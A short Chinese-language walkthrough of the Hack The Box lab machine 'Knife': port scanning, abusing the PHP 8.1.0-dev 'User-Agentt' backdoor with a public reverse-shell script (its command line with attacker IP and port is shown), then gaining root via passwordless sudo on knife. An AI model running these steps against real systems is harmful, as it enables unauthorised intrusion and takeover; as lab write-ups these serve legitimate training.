Knife
Enumeration
nmap
第一次扫描发现系统对外开放了22和80端口，端口详细信息如下
系统对外开放了2个端口，22的ssh和80的http，先访问web看看
单看该服务，并没有发现有趣的东西，wappalyzer显示php版本为8.1.0
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
搜索发现该版本php存在后门漏洞，可以远程执行代码
首先将该漏洞利用脚本下载到工作目录，我这里用了github的脚本
然后执行python脚本，输入url，本机ip，设置监听端口，在本地开启监听，然后执行python脚本
usage: revshell_php_8.1.0-dev.py [-h] <target URL> <attacker IP> <attacker PORT> python revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.14.3 4444
在python执行界面中没有反应，但是监听端获取到shell
Privilege Escalation
直接使用sudo -l发现可以使用root权限执行knife程序，且不需要密码
在gtfobins中发现knife可以利用，如图
执行指令即可获取root权限
